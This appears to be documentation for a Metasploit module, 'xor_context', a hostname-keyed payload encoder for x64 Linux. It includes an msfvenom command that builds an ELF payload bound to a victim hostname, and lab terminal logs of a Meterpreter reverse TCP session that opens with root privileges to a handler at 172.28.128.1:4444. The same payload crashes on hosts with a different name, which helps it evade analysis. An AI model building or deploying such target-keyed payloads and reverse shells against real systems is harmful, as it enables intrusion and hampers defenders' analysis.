Metasploit context-keyed payload encoder based on hostname (linux, intel, 64 bit)

[osospeed]

xor_context

Metasploit context-keyed payload encoder based on hostname (linux, intel, 64 bit).

How to

• Copy the file xor_context.rb to the encoders folder : /opt/metasploit/modules/encoders/x64/xor_context.rb
• You can use the module inside Metasploit or msfvenom :
  msfvenom --platform linux -p linux/x64/exec cmd='ls -la' -e x64/xor_context C_HOSTNAME=victimpc -f elf -o test
• This resulting file will work only on machines having 'victimpc' as hostname.

[wvu]

root@ubuntu-xenial:/vagrant# ./test
total 60
drwxr-xr-x  1 vagrant vagrant   192 Jul 23  2019 .
drwxr-xr-x 24 root    root     4096 Jul 23 06:57 ..
drwxr-xr-x  1 vagrant vagrant   128 Jul 23 06:57 .vagrant
-rw-r--r--  1 vagrant vagrant  3013 Jul 23 06:57 Vagrantfile
-rwxr-xr-x  1 vagrant vagrant   210 Jul 23 07:06 test
-rw-------  1 vagrant vagrant 48164 Jul 23 06:57 ubuntu-xenial-16.04-cloudimg-console.log
root@ubuntu-xenial:/vagrant# hostname unbantos
root@ubuntu-xenial:/vagrant# ./test
Segmentation fault (core dumped)
root@ubuntu-xenial:/vagrant# hostname ubuntu-xenial
root@ubuntu-xenial:/vagrant# ./test
total 60
drwxr-xr-x  1 vagrant vagrant   192 Jul 23 07:07 .
drwxr-xr-x 24 root    root     4096 Jul 23 06:57 ..
drwxr-xr-x  1 vagrant vagrant   128 Jul 23 06:57 .vagrant
-rw-r--r--  1 vagrant vagrant  3013 Jul 23 06:57 Vagrantfile
-rwxr-xr-x  1 vagrant vagrant   210 Jul 23 07:06 test
-rw-------  1 vagrant vagrant 48164 Jul 23 06:57 ubuntu-xenial-16.04-cloudimg-console.log
root@ubuntu-xenial:/vagrant#

root@ubuntu-xenial:/vagrant# ./meterpreter

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.28.128.1:4444
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3021284 bytes) to 172.28.128.5
[*] Meterpreter session 1 opened (172.28.128.1:4444 -> 172.28.128.5:58370) at 2019-07-23 02:11:53 -0500

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 10.0.2.15
OS           : Ubuntu 16.04 (Linux 4.4.0-141-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

root@ubuntu-xenial:/vagrant# hostname ubunutos
root@ubuntu-xenial:/vagrant# ./meterpreter
Segmentation fault (core dumped)
root@ubuntu-xenial:/vagrant#

[wvu]

Release Notes

A hostname-keyed encoder for x64 Linux payloads is now available.